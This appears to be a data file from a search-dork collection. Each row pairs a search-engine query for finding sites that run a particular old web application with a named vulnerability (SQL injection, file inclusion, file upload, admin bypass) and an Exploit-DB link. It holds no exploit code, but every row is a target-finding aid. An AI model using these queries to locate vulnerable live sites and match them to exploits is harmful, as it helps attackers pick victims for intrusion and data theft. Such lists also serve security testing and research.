inurl:inc_catalogmanager.asp	inurl:inc_catalogmanager.asp	DMXReady Catalog Manager 1.1 Remote Contents Change Vuln: http://www.exploit-db.com/exploits/7766
"This website is powered by Trio"	"This website is powered by Trio"	TriO 2.1 (browse.php id) Remote SQL Injection Vulnerability - CVE: 2008-3418: http://www.exploit-db.com/exploits/6141
content_by_cat.asp?contentid "catid"	content_by_cat.asp?contentid "catid"	ASPapp KnowledgeBase (catid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6590
allinurl: "pollBooth.php?op=results"pollID	allinurl: "pollBooth.php?op=results"pollID	Pollbooth 2.0 (pollID) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5436
browse_videos.php?	browse_videos.php?	phpVID 0.9.9 (categories_type.php cat) SQL Injection Vulnerability - CVE: 2007-3610: http://www.exploit-db.com/exploits/4153
inurl:JBSPro	inurl:JBSPro	JiRos Banner Experience 1.0 (Create Admin Bypass) - CVE: 2006-1213: http://www.exploit-db.com/exploits/1571
inurl:inc_joblistingmanager.asp	inurl:inc_joblistingmanager.asp	DMXReady Job Listing 1.1 Remote Contents Change Vulnerability: http://www.exploit-

		db.com/exploits/7771
"Factux le facturier libre V 1.1.5"	"Factux le facturier libre V 1.1.5"	Factux LFI Vulnerability: http://www.exploit-db.com/exploits/12521
Maintained with the Ocean12 Contact Manager Pro v1.02	Maintained with the Ocean12 Contact Manager Pro v1.02	Ocean12 Contact Manager Pro (SQL/XSS/DDV) Multiple Vulnerabilities - CVE: 2008-6369: http://www.exploit-db.com/exploits/7244
buyers_subcategories.php?IndustryID=	buyers_subcategories.php?IndustryID=	Softbiz B2B trading Marketplace Script buyers_subcategories SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12245
"Powered by Minerva"	"Powered by Minerva"	Minerva 2.0.21 build 238a (phpbb_root_path) File Include Vulnerability - CVE: 2006-5077: http://www.exploit-db.com/exploits/2429
inurl:"izle.asp?oyun="	inurl:"izle.asp?oyun="	FoT Video scripti 1.1b (oyun) Remote SQL Injection Vulnerability - CVE: 2008-4176: http://www.exploit-db.com/exploits/6453
inurl:"IDFM=" "form.php"	inurl:"IDFM=" "form.php"	360 Web Manager 3.0 (IDFM) SQL Injection Vulnerability - CVE: 2008-0430: http://www.exploit-db.com/exploits/4944
inurl:inc_newsmanager.asp	inurl:inc_newsmanager.asp	DMXReady News Manager 1.1 Arbitrary Category Change Vuln: http://www.exploit-db.com/exploits/7752
Powered by XAOS systems	Powered by XAOS systems	XAOS CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14469
inurl:inc_documentlibrarymanager.asp	inurl:inc_documentlibrarymanager.asp	DMXReady Document Library Manager 1.1 Contents Change Vuln: http://www.exploit-db.com/exploits/7769
inurl:inc_photogallerymanager.asp	inurl:inc_photogallerymanager.asp	DMXReady Photo Gallery Manager 1.1 Contents Change Vulnerability: http://www.exploit-db.com/exploits/7783

Powered by Arctic v2.0.0	Powered by Arctic v2.0.0	Artic Issue Tracker 2.0.0 (index.php filter) SQL Injection Vulnerability - CVE: 2008-3250: http://www.exploit-db.com/exploits/6097
inurl:"phpRaid" "phpRaid" "roster.php?Sort=Race"	inurl:"phpRaid" "phpRaid" "roster.php?Sort=Race"	phpRaid 3.0.7 (rss.php phpraid_dir) Remote File Inclusion: http://www.exploit-db.com/exploits/3528
inurl:"classifieds.php?cat="	inurl:"classifieds.php?cat="	BM Classifieds Ads SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10314
Powered by: Zanfi Solutions	Powered by: Zanfi Solutions	Zanfi CMS lite 1.2 Multiple Local File Inclusion Vulnerabilities - CVE: 2008-4158: http://www.exploit-db.com/exploits/6413
inurl:"index.php?option=com_jequoteform"	inurl:"index.php?option=com_jequoteform"	Joomla Component com_jequoteform - Local File Inclusion - CVE: 2010-2128: http://www.exploit-db.com/exploits/12607
"Powered by SiteX 0.7 Beta"	"Powered by SiteX 0.7 Beta"	SiteX 0.7.4.418 (THEME_FOLDER) Local File Inclusion Vulnerabilities - CVE: 2009-1846: http://www.exploit-db.com/exploits/8816
inurl:"freshlinks_panel/index.php?linkid"	inurl:"freshlinks_panel/index.php?linkid"	PHP-Fusion Mod freshlinks (linkid) Remote SQL Injection Vuln - CVE: 2008-5074: http://www.exploit-db.com/exploits/6620
"Software Categories" "Featured Resources" "Search"	"Software Categories" "Featured Resources" "Search"	HotScripts Clone Script Remote SQL Injection Vulnerability - CVE: 2007-6084: http://www.exploit-db.com/exploits/4633
"Website Powered By Creative SplashWorks - SplashSite"	"Website Powered By Creative SplashWorks - SplashSite"	Creative SplashWorks-SplashSite (page.php) Blind Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11300
inurl:inc_paypalstoremanager.asp	inurl:inc_paypalstoremanager.asp	DMXReady PayPal Store Manager 1.1 Contents Change Vulnerability: http://www.exploit-db.com/exploits/7782
Powered By phpCOIN 1.2.3	Powered By phpCOIN 1.2.3	phpCOIN 1.2.3 (session_set.php) Remote Include Vulnerability - CVE: 2006-4424: http://www.exploit-

		db.com/exploits/2254
inurl:"index.php?com_remository"	inurl:"index.php?com_remository"	Joomla Component (com_remository) Remote Upload File: http://www.exploit-db.com/exploits/14811
"Developed by Quate.net."	"Developed by Quate.net."	Grape Statistics 0.2a (location) Remote File Inclusion Vulnerability - CVE: 2008-1963: http://www.exploit-db.com/exploits/5463
allinurl:directory.php?ax=list	allinurl:directory.php?ax=list	Prozilla Directory Script (directory.php cat_id) SQL Injection Vulnerbility - CVE: 2007-3809: http://www.exploit-db.com/exploits/4185
inurl:w3.php?nodeId=	inurl:w3.php?nodeId=	Aspect Ratio CMS Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15205
Uebimiau Webmail v3.2.0-1.8	Uebimiau Webmail v3.2.0-1.8	Uebimiau Web-Mail v3.2.0-1.8 Remote File / Overwrite Vulnerabilities: http://www.exploit-db.com/exploits/8944
"ATutor 1.6.4"	"ATutor 1.6.4"	ATutor 1.6.4 Multiple Cross Site Scripting - CVE: 2010-0971: http://www.exploit-db.com/exploits/11685
"Search | Invite | Mail | Blog | Forum"	"Search | Invite | Mail | Blog | Forum"	Myspace Clone Script Remote SQL Injection Vulnerability - CVE: 2007-5992: http://www.exploit-db.com/exploits/4622
inurl:"index.php?option=com_portfolio"	inurl:"index.php?option=com_portfolio"	Mambo Component Portfolio 1.0 (categoryId) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5139
Powered by Article DashBoard	Powered by Article DashBoard	Article Friendly SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11530
elkagroup - Image Gallery v1.0 - All right reserved	elkagroup - Image Gallery v1.0 - All right reserved	elkagroup Image Gallery 1.0 Arbitrary File Upload Vulnerability - CVE: 2009-1446: http://www.exploit-db.com/exploits/8514
inurl:post.php?Category=Garage	inurl:post.php?Category=Garage	GarageSales Remote Upload Vulnerability: http://www.exploit-

		db.com/exploits/12128
intext:"Powered by CLscript.com"	intext:"Powered by CLscript.com"	CLScript.com Classifieds Software SQL Injection Vunerability - CVE: 2010-1660: http://www.exploit-db.com/exploits/12423
"Send amazing greetings to your friends and relative!"	"Send amazing greetings to your friends and relative!"	greeting card Remote Upload Vulnerability: http://www.exploit-db.com/exploits/13751
inurl:"index.php?option=com_oziogallery"	inurl:"index.php?option=com_oziogallery"	Joomla Ozio Gallery Component (com_oziogallery) SQL Injection Vulnerability - CVE: 2010-2910: http://www.exploit-db.com/exploits/14462
"Powered by Content Injector v1.53"	"Powered by Content Injector v1.53"	Content Injector 1.53 (index.php) Remote SQL Injection Vulnerability - CVE: 2007-6394: http://www.exploit-db.com/exploits/4706
inurl:tabid/176/Default.aspx OR inurl:portals/0/	inurl:tabid/176/Default.aspx OR inurl:portals/0/	DotNetNuke Remote File upload Vulnerability: http://www.exploit-db.com/exploits/12700
inurl:"click.php?hostid="	inurl:"click.php?hostid="	Adult Banner Exchange Website (targetid) SQL Injection Vulnerability - CVE: 2008-6101: http://www.exploit-db.com/exploits/6909
inurl:/tiny_mce/plugins/filemanager/	inurl:/tiny_mce/plugins/filemanager/	TinyMCE MCFileManager 2.1.2 Arbitrary File Upload Vulnerability: http://www.exploit-db.com/exploits/15194
inurl:"search_results.php?browse=1"	inurl:"search_results.php?browse=1"	SoftBizScripts Dating Script SQL Injection Vunerability - CVE: 2006-3271: http://www.exploit-db.com/exploits/12438
"powered by fuzzylime"	"powered by fuzzylime"	fuzzylime cms 3.01 (admindir) Remote File Inclusion Vulnerability - CVE: 2008-1405: http://www.exploit-db.com/exploits/5260
Powered by ThinkAdmin	Powered by ThinkAdmin	ThinkAdmin (page.php) Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11296
phpBazar Ver. 2.1.0	phpBazar Ver. 2.1.0	phpBazar-2.1.1fix Remote Administration-Panel Vulnerability -

		CVE: 2009-4222: http://www.exploit-db.com/exploits/10233
inurl:gotourl.php?id=	inurl:gotourl.php?id=	PozScripts Classified Auctions (gotourl.php id) SQL Injection Vuln - CVE: 2008-4755: http://www.exploit-db.com/exploits/6839
inurl:"module=helpcenter"	inurl:"module=helpcenter"	Help Center Live 2.0.6(module=helpcenter&file=) Local File Inclusion - CVE: 2010-1652: http://www.exploit-db.com/exploits/12421
Powered By PHPhotoalbum	Powered By PHPhotoalbum	PHPhotoalbum Remote File Upload Vulnerability - CVE: 2009-4819: http://www.exploit-db.com/exploits/10584
"Eyeland Studio Inc. All Rights Reserved."	"Eyeland Studio Inc. All Rights Reserved."	Eyeland Studio Inc. SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13855
"Gallery powered by fMoblog"	"Gallery powered by fMoblog"	Wordpress Plugin fMoblog 2.1 (id) SQL Injection Vulnerability - CVE: 2009-0968: http://www.exploit-db.com/exploits/8229
"Powered by Orca Interactive Forum Script"	"Powered by Orca Interactive Forum Script"	Orca 2.0/2.0.2 (params.php) Remote File Inclusion Vulnerability - CVE: 2008-5167: http://www.exploit-db.com/exploits/5955
Powered by Info Fisier	Powered by Info Fisier	Info Fisier v1.0 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10726
inurl:"browsecats.php?cid="	inurl:"browsecats.php?cid="	SoftBizScripts Hosting Script SQL Injection Vunerability - CVE: 2005-3817: http://www.exploit-db.com/exploits/12439
"Powered by MySpace Content Zone"	"Powered by MySpace Content Zone"	MySpace Content Zone 3.x Remote File Upload Vulnerability - CVE: 2007-6668: http://www.exploit-db.com/exploits/4741
allinurl: "com_actualite"	allinurl: "com_actualite"	Joomla Component actualite 1.0 (id) SQL Injection Vulnerability - CVE: 2008-4617: http://www.exploit-db.com/exploits/5337
inurl:"com_book"	inurl:"com_book"	Joomla Component com_book SQL

		injection Vulnerability: http://www.exploit-db.com/exploits/11213
"powered by AllMyGuests"	"powered by AllMyGuests"	AllMyGuests 0.4.1 (AMG_id) Remote SQL Injection Vulnerability - CVE: 2008-1961: http://www.exploit-db.com/exploits/5469
allinurl : /web3news/	allinurl : /web3news/	Web3news 0.95 (PHPSECURITYADMIN_PATH) Remote Include Vuln - CVE: 2006-4452: http://www.exploit-db.com/exploits/2269
" Powered by Xpoze "	" Powered by Xpoze "	Xpoze 4.10 (home.html menu) Blind SQL Injection Vulnerability - CVE: 2008-6352: http://www.exploit-db.com/exploits/7432
Powered by ArticleMS from ArticleTrader	Powered by ArticleMS from ArticleTrader	Article Management System 2.1.2 Reinstall Vulnerability: http://www.exploit-db.com/exploits/12858
allinurl:"macgurublog.php?uid="	allinurl:"macgurublog.php?uid="	e107 Plugin BLOG Engine 2.1.4 Remote SQL Injection Vulnerability - CVE: 2008-6438: http://www.exploit-db.com/exploits/6856
"powered by Sniggabo CMS" inurl:article.php?id	"powered by Sniggabo CMS" inurl:article.php?id	Sniggabo CMS (article.php id) Remote SQL Injection: http://www.exploit-db.com/exploits/8933
inurl:"tr.php?id=" Short Url & Url Tracker	inurl:"tr.php?id=" Short Url & Url Tracker	YourFreeWorld Short Url & Url Tracker (id) SQL Injection Vuln - CVE: 2008-4885: http://www.exploit-db.com/exploits/6940
powered by AirvaeCommerce 3.0	powered by AirvaeCommerce 3.0	AirvaeCommerce 3.0 (pid) Remote SQL Injection Vulnerability - CVE: 2008-5223: http://www.exploit-db.com/exploits/5689
inurl: "tops_top.php? id_cat ="	inurl: "tops_top.php? id_cat ="	Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability - CVE: 2008-3204: http://www.exploit-db.com/exploits/6044
PHPEmailManager	PHPEmailManager	PHP Email Manager (remove.php ID) SQL Injection Vulnerability - CVE: 2009-3209: http://www.exploit-db.com/exploits/9470

"Powered By 0DayDB v2.3"	"Powered By 0DayDB v2.3"	0DayDB 2.3 (delete id) Remote Admin Bypass: http://www.exploit-db.com/exploits/4896
"Powered by ExBB "	"Powered by ExBB "	ExBB Italiano 0.2 exbb[home_path] Remote File Include Vulnerability - CVE: 2006-4488: http://www.exploit-db.com/exploits/2273
intext:"Powered by Max.Blog"	intext:"Powered by Max.Blog"	Max.Blog 1.0.6 (show_post.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/7885
"Powered by Active PHP Bookmarks v1.3" inurl:.view_group.php?id=	"Powered by Active PHP Bookmarks v1.3" inurl:.view_group.php?id=	Active PHP Bookmarks v1.3 SQL Injection Vulnerability - CVE: 2008-3748: http://www.exploit-db.com/exploits/10597
"txx cms"	"txx cms"	Txx CMS 0.2 Multiple Remote File Inclusion Vulnerabilities - CVE: 2007-4819: http://www.exploit-db.com/exploits/4381
Powered by: XP Book v3.0	Powered by: XP Book v3.0	XP Book v3.0 login Admin: http://www.exploit-db.com/exploits/10621
"Powered by ispCP Omega"	"Powered by ispCP Omega"	ispCP Omega 1.0.4 Remote File Include Vulnerability: http://www.exploit-db.com/exploits/11681
inurl:"printer.asp?forum="	inurl:"printer.asp?forum="	ASP Message Board 2.2.1c Remote SQL Injection Vulnerability - CVE: 2007-5887: http://www.exploit-db.com/exploits/4609
inurl:"com_ownbiblio" catalogue	inurl:"com_ownbiblio" catalogue	Joomla Component ownbiblio 1.5.3 (catid) SQL Injection Vulnerability - CVE: 2008-6184: http://www.exploit-db.com/exploits/6730
"This site is powered by CMS Made Simple version 1."	"This site is powered by CMS Made Simple version 1."	CMS Made Simple 1.6.2 Local File Disclosure Vulnerability: http://www.exploit-db.com/exploits/9407
"CMS Webmanager-pro"	"CMS Webmanager-pro"	CMS WebManager-Pro Multiple Remote SQL Injection Vulnerabilities - CVE: 2008-2351: http://www.exploit-db.com/exploits/5641

inurl:"/geeklog/"	inurl:"/geeklog/"	GeekLog 1.7.0 (fckeditor) Arbitrary File Upload Vulnerability: http://www.exploit-db.com/exploits/15277
"Jax Calendar v1.34 by Jack (tR), www.jtr.de/scripting/php"	"Jax Calendar v1.34 by Jack (tR), www.jtr.de/scripting/php"	Jax Calendar 1.34 Remote Admin Access: http://www.exploit-db.com/exploits/10835
allinurl: "index php p shop"categ	allinurl: "index php p shop"categ	Koobi Pro 6.25 shop Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5412
Powered by Platinum 7.6.b.5	Powered by Platinum 7.6.b.5	PHP-Nuke Platinum 7.6.b.5 Remote File Inclusion Vulnerability - CVE: 2007-5676: http://www.exploit-db.com/exploits/4563
Rash Version: 1.2.1	Rash Version: 1.2.1	RQMS (Rash) 1.2.2 Multiple SQL Injection Vulnerabilities: http://www.exploit-db.com/exploits/8433
Powered by: mevin productions	Powered by: mevin productions	Basic PHP Events Lister 2 Add Admin: http://www.exploit-db.com/exploits/10515
inurl:/webCal3_detail.asp?event_id=	inurl:/webCal3_detail.asp?event_id=	WebCal (webCal3_detail.asp event_id) SQL Injection Vulnerability - CVE: 2009-1945: http://www.exploit-db.com/exploits/8857
inurl:classifieds/view.php?category=	inurl:classifieds/view.php?category=	YourFreeWorld Classifieds (category) Remote SQL Injection Vulnerability - CVE: 2008-3755: http://www.exploit-db.com/exploits/6945
"Signkorn Guestbook 1.3"	"Signkorn Guestbook 1.3"	Signkorn Guestbook 1.3 (dir_path) Remote File Include Vulnerability - CVE: 2006-4788: http://www.exploit-db.com/exploits/2354
inurl:"catalog/product/detail.php?cat="	inurl:"catalog/product/detail.php?cat="	Webthaiapp detail.php(cat) Blind Sql injection Vulnerability: http://www.exploit-db.com/exploits/12467
inurl: user_info.php?user_id= " Or " inurl: index.php?catid= "	inurl: user_info.php?user_id= " Or " inurl: index.php?catid= "	Free Advertisment cms (user_info.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12572

Powered by:Traidnt Gallery Version 1.0.	Powered by:Traidnt Gallery Version 1.0.	Traidnt Gallery add Admin: http://www.exploit-db.com/exploits/10629
inurl:"powered by eggblog"	inurl:"powered by eggblog"	Eggblog 3.07 Remote (SQL Injection / Privilege Escalation) - CVE: 2006-2725: http://www.exploit-db.com/exploits/1842
"pForum 1.30"	"pForum 1.30"	pForum 1.30 (showprofil.php id) Remote SQL Injection Vulnerability - CVE: 2008-4355: http://www.exploit-db.com/exploits/6442
Powered By AJ Auction	Powered By AJ Auction	AJ Auction Pro Platinum (seller_id) SQL Injection Vulnerability - CVE: 2008-6004: http://www.exploit-db.com/exploits/6561
faqview.asp?key	faqview.asp?key	Techno Dreams FAQ Manager 1.0 Remote SQL Injection Vulnerability - CVE: 2006-4892: http://www.exploit-db.com/exploits/2385
"Powered by: MFH v1"	"Powered by: MFH v1"	Mega File Hosting Script 1.2 (fid) Remote SQL Injection Vulnerability - CVE: 2008-2521: http://www.exploit-db.com/exploits/5598
inurl:"com_beamospetition"	inurl:"com_beamospetition"	Joomla Component (com_beamospetition) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14502
intitle: phpBazar-AdminPanel	intitle: phpBazar-AdminPanel	phpBazar admin Information Disclosure Vulnerability: http://www.exploit-db.com/exploits/14439
"Powered By 4smart"	"Powered By 4smart"	Magician Blog 1.0 (ids) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/9282
allinurl: "index.php?showlink"links	allinurl: "index.php?showlink"links	Koobi Pro 6.25 links Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5411
"Aurora CMS"	"Aurora CMS"	Aurora CMS Remote SQL Injection: http://www.exploit-db.com/exploits/10609

inurl :/PhotoCart/	inurl :/PhotoCart/	Photo Cart 3.9 (adminprint.php) Remote File Include Vulnerability - CVE: 2006-6093: http://www.exploit-db.com/exploits/2817
"Powered by GetMyOwnArcade"	"Powered by GetMyOwnArcade"	GetMyOwnArcade (search.php query) Remote SQL Injection Vulnerability - CVE: 2007-4386: http://www.exploit-db.com/exploits/4291
Powered By : PersianBB.com	Powered By : PersianBB.com	PersianBB (iranian_music.php id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6858
alegrocart	alegrocart	Alegro 1.2.1 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12278
inurl:/hbcms/php/	inurl:/hbcms/php/	HB CMS 1.7 SQL Injection: http://www.exploit-db.com/exploits/9835
"Powered by Simple PHP Text newsletter"	"Powered by Simple PHP Text newsletter"	Simple PHP Newsletter 1.5 (olang) Local File Inclusion Vulnerabilities - CVE: 2009-0340: http://www.exploit-db.com/exploits/7813
inurl:"list.php?lcat_id="	inurl:"list.php?lcat_id="	D-Tendencia Bt 2008 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10494
allinurl: "com_estateagent"	allinurl: "com_estateagent"	Mambo Component EstateAgent 0.1 Remote SQL Injection Vulnerability - CVE: 2008-0517: http://www.exploit-db.com/exploits/5016
powered by Php Blue Dragon Platinum	powered by Php Blue Dragon Platinum	Php Blue Dragon CMS 2.9 Remote File Include Vulnerability - CVE: 2006-2392: http://www.exploit-db.com/exploits/1779
Designed and Developed by karkia E-commerce	Designed and Developed by karkia E-commerce	E-commerce Group (cat.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12696
"hlstats.php?mode=dailyawardinfo&award=" hlstatsx	"hlstats.php?mode=dailyawardinfo&award=" hlstatsx	HLstatsX v1.65 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10850
Powered by Plogger!	Powered by Plogger!	Plogger Remote File Disclosure Vulnerability: http://www.exploit-

		db.com/exploits/14636
"Powered by DZcms"	"Powered by DZcms"	DZcms v.3.1 (products.php pcat) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/7722
inurl:"com_event"	inurl:"com_event"	Joomla Component com_event Multiple Vulnerabilities: http://www.exploit-db.com/exploits/12633
Help Desk Software by Kayako SupportSuite v3.70.02	Help Desk Software by Kayako SupportSuite v3.70.02	Kayako eSupport v3.70.02 SQL Injection Vulnerability - CVE: 2010-2911: http://www.exploit-db.com/exploits/14392
inurl:"/alternate_profiles/"	inurl:"/alternate_profiles/"	e107 Plugin alternate_profiles (id) SQL Injection Vulnerability - CVE: 2008-4785: http://www.exploit-db.com/exploits/6849
"This website is powered by Mobius"	"This website is powered by Mobius"	Mobius 1.4.4.1 (browse.php id) Remote SQL Injection Vulnerability - CVE: 2008-3420: http://www.exploit-db.com/exploits/6138
intitle:WEBEYES GUEST BOOK inurl:.asp?id=	intitle:WEBEYES GUEST BOOK inurl:.asp?id=	WebEyes Guest Book v.3 (yorum.asp mesajid) SQL Injection Vulnerability - CVE: 2009-1950: http://www.exploit-db.com/exploits/8859
"visiteurs v2.0"	"visiteurs v2.0"	Les Visiteurs (Visitors) 2.0 (config.inc.php) File Include Vulnerability: http://www.exploit-db.com/exploits/2449
inurl:"com_portfol"	inurl:"com_portfol"	Joomla Component com_portfol SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10844
"Powered by ZeeMatri"	"Powered by ZeeMatri"	ZEEMATRI 3.0 (bannerclick.php adid) SQL Injection Vulnerability - CVE: 2008-5782: http://www.exploit-db.com/exploits/7072
inurl:tr.php?id= Banner	inurl:tr.php?id= Banner	Banner Management Script (tr.php id) Remote SQL Injection Vulnerability - CVE: 2008-3749: http://www.exploit-db.com/exploits/6276

Powered By: 4images 1.7.1	Powered By: 4images 1.7.1	4images 1.7.1 Remote SQL Injection Vulnerability - CVE: 2006-5236: http://www.exploit-db.com/exploits/10572
intext:"Powered by Max.Blog"	intext:"Powered by Max.Blog"	Max.Blog 1.0.6 (submit_post.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/7898
intitle:USP FOSS Distribution	intitle:USP FOSS Distribution	USP FOSS Distribution 1.01 (dnld) Remote File Disclosure Vulnerability - CVE: 2007-2271: http://www.exploit-db.com/exploits/3794
"powered by dataface" "powered by xataface"	"powered by dataface" "powered by xataface"	Xataface Admin Auth Bypass Vulnerability: http://www.exploit-db.com/exploits/11852
inurl:"vbplaza.php?do="	inurl:"vbplaza.php?do="	vBulletin vbBux/vbPlaza 2.x (vbplaza.php) Blind SQL Injection Vuln: http://www.exploit-db.com/exploits/8784
allintext:"Powered by: TotalCalendar"	allintext:"Powered by: TotalCalendar"	TotalCalendar 2.402 (view_event.php) Remote SQL Injection Vulns - CVE: 2007-3515: http://www.exploit-db.com/exploits/4130
Powered by PHP Dir Submit - Directory Submission Script	Powered by PHP Dir Submit - Directory Submission Script	PHP Dir Submit (aid) Remote SQL Injection Vulnerability - CVE: 2009-3970: http://www.exploit-db.com/exploits/9484
intitle:"MAXSITE"	intitle:"MAXSITE"	CMS MAXSITE 1.10 (category) Remote SQL Injection Vulnerability - CVE: 2008-2487: http://www.exploit-db.com/exploits/5676
Power with ecsportal rel 6.5	Power with ecsportal rel 6.5	ecsportal rel 6.5 (article_view_photo.php id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8848
inurl:"list.php?c="	inurl:"list.php?c="	Prozilla Top 100 v1.2 Arbitrary Delete Stats Vulnerability - CVE: 2008-1785: http://www.exploit-db.com/exploits/5384
inurl:"weblink_cat_list.php?bcat_id=	inurl:"weblink_cat_list.php?bcat_id="	WHMCompleteSolution CMS sql Injection Vulnerability:

"		http://www.exploit-db.com/exploits/10493
Powered by YaBBSM V2.5.0 Based on YABB SE	Powered by YaBBSM V2.5.0 Based on YABB SE	YaBBSM 3.0.0 (Offline.php) Remote File Include Vulnerability - CVE: 2006-5413: http://www.exploit-db.com/exploits/2553
"Powered by YDC"	"Powered by YDC"	YDC (kdlist.php cat) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6811
Powered by emuCMS	Powered by emuCMS	emuCMS 0.3 (cat_id) Remote SQL Injection Vulnerability - CVE: 2008-2891: http://www.exploit-db.com/exploits/5878
intitle:"Rx08.ii36B.Rv"	intitle:"Rx08.ii36B.Rv"	RapidLeech Scripts Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/14430
allinurl:"/lildbi/"	allinurl:"/lildbi/"	LILDBI Shell Upload Vulnerability: http://www.exploit-db.com/exploits/14443
intext:"Design by BB Media.Org"	intext:"Design by BB Media.Org"	BBMedia Design's (news_more.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12718
calendar.asp?eventdetail	calendar.asp?eventdetail	AspWebCalendar 2008 Remote File Upload Vulnerability - CVE: 2008-2832: http://www.exploit-db.com/exploits/5850
Powered by Multi Website 1.5	Powered by Multi Website 1.5	Multi Website 1.5 (index php action) SQL Injection Vulnerability - CVE: 2009-3150: http://www.exploit-db.com/exploits/9344
Powered by iScripts VisualCaster	Powered by iScripts VisualCaster	SQli Vulnerability in iScripts VisualCaster - CVE: 2010-2853: http://www.exploit-db.com/exploits/12451
JBC explorer [by Psykokwak & XaV]	JBC explorer [by Psykokwak & XaV]	Explorer V7.20 Cross Site Scripting Vulnerability: http://www.exploit-db.com/exploits/10566
"Powered by DesClub.com -	"Powered by DesClub.com - phpLinkat"	phpLinkat 0.1 Insecure Cookie Handling / SQL Injection Vulnerability

phpLinkat"		- CVE: 2008-3407: http://www.exploit-db.com/exploits/6140
Powered by: Zanfi Solutions	Powered by: Zanfi Solutions	Zanfi CMS lite / Jaw Portal free (page) SQL Injection Vulnerability - CVE: 2008-4159: http://www.exploit-db.com/exploits/6423
inurl:"com_equipment"	inurl:"com_equipment"	Joomla Component (com_equipment) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14655
"Everyone should be on TV! Now you can upload 2 TV"	"Everyone should be on TV! Now you can upload 2 TV"	Youtuber Clone (ugroups.php UID) Remote SQL Injection Vulnerability - CVE: 2008-3419: http://www.exploit-db.com/exploits/6147
" created by creato.biz "	" created by creato.biz "	Creato Script SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12807
"Powered by: Southburn"	"Powered by: Southburn"	southburn Web (products.php) Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11430
"powered by Blue Dove Web Design"	"powered by Blue Dove Web Design"	Blue Dove Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11360
infusions/raidtracker_panel/thisraidprogress.php?	infusions/raidtracker_panel/thisraidprogress.php?	PHP-Fusion Mod raidtracker_panel (INFO_RAID_ID) SQL Injection - CVE: 2008-4521: http://www.exploit-db.com/exploits/6682
inurl:"phpsecurepages"	inurl:"phpsecurepages"	phpSecurePages 0.28b (secure.php) Remote File Include Vulnerability: http://www.exploit-db.com/exploits/2452
allinurl: "index.php?mod=galerie"action=gal	allinurl: "index.php?mod=galerie"action=gal	KwsPHP Module Galerie (id_gal) Remote SQL Injection Vulnerability - CVE: 2008-6197: http://www.exploit-db.com/exploits/5350
intext:"Powered by WSN Links Basic Edition"	intext:"Powered by WSN Links Basic Edition"	WSN Links Basic Edition (displaycat catid) SQL Injection Vulnerbility - CVE: 2007-3981: http://www.exploit-db.com/exploits/4209
inurl:"/index.php?option=com_rsfile	inurl:"/index.php?option=com_rsfiles"	Joomla Component RSfiles 1.0.2 (path) File Download Vulnerability - CVE:

s"		2007-4504: http://www.exploit-db.com/exploits/4307
Powered By AstroSPACES	Powered By AstroSPACES	AstroSPACES (id) Remote SQL Injection Vulnerability - CVE: 2008-4642: http://www.exploit-db.com/exploits/6758
Powered by FluentCMS	Powered by FluentCMS	FluentCMS (view.php sid) Remote SQL Injection Vulnerability - CVE: 2008-6642: http://www.exploit-db.com/exploits/5509
inurl:dpage.php?docID	inurl:dpage.php?docID	The Real Estate Script (dpage.php docID) SQL Injection Vulnerability - CVE: 2008-2443: http://www.exploit-db.com/exploits/5610
inurl:"index.php?option=com_iproperty"	inurl:"index.php?option=com_iproperty"	Joomla Component (com_iproperty) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14450
"Powered by WebStudio eCatalogue"	"Powered by WebStudio eCatalogue"	WebStudio eCatalogue (pageid) Blind SQL Injection Vulnerability - CVE: 2008-5294: http://www.exploit-db.com/exploits/7223
"Powered by NovaBoard v1.1.2"	"Powered by NovaBoard v1.1.2"	NovaBoard v1.1.2 SQL Injection Vulnerability - CVE: 2010-0608: http://www.exploit-db.com/exploits/11278
inurl:/downlot.php?file=	inurl:/downlot.php?file=	Lokomedia CMS (sukaCMS) Local File Disclosure Vulnerability - CVE: 2010-2018: http://www.exploit-db.com/exploits/12651
"Powered by Fantastic News v2.1.2" or "Powered by Fantastic News v2.1.3"	"Powered by Fantastic News v2.1.2" or "Powered by Fantastic News v2.1.3"	Fantastic News 2.1.3 (script_path) Remote File Include Vulnerability - CVE: 2006-4285: http://www.exploit-db.com/exploits/2221
inurl:treplies.asp?message= intitle:ASP Talk	inurl:treplies.asp?message= intitle:ASP Talk	ASP Talk (SQL/CSS) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/7378
inurl:"read.asp?fID="	inurl:"read.asp?fID="	JiRo?s FAQ Manager (read.asp fID) SQL Injection Vulnerability - CVE: 2008-2691: http://www.exploit-db.com/exploits/5753

"MidiCart PHP Database Management"	"MidiCart PHP Database Management"	MidiCart PHP,ASP Shell Upload Vulnerability: http://www.exploit-db.com/exploits/12636
